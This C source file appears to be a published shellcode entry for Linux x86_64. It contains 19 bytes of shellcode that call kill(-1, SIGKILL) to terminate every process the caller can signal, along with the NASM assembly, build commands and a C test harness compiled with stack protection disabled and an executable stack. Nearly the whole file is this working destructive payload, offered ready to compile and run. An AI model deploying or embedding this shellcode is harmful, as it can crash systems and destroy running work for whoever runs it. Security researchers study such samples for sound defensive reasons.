63 lines
No EOL
1.4 KiB
C
63 lines
No EOL
1.4 KiB
C
/*
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;Title: Linux/x86_64 - kill() All Processes Shellcode
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;Author: Touhid M.Shaikh
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;Contact: https://github.com/touhidshaikh
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;Category: Shellcode
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;Architecture: Linux x86_64
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;Description: If pid == -1, then sig is sent to every process for which the
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calling process has permission to send signals, except for process 1 (init)
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;Shellcode Length: 19
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;Tested on : Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
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===COMPILATION AND EXECUTION Assemmbly file===
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#nasm -f elf64 shell.asm -o shell.o <=== Making Object File
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#ld shell.o -o shell <=== Making Binary File
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#./bin2shell.sh shell <== xtract hex code from the binary(
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https://github.com/touhidshaikh/bin2shell)
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=================SHELLCODE(INTEL FORMAT)=================
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section .text
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global _start:
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_start:
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xor rax,rax
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push byte -1 ; pid = -1,
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pop rdi
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add rax,9 ; sig
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mov rsi,rax
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add rax,53 ; kill system call number 9+53=62
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syscall
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===================END HERE============================
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====================FOR C Compile===========================
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Compile with gcc with some options.
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# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x48\x31\xc0\x6a\xff\x5f\x48\x83\xc0\x09\x48\x89\xc6\x48\x83\xc0\x35\x0f\x05";
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main()
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{
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printf("Shellcode Length: %d\n", (int)strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |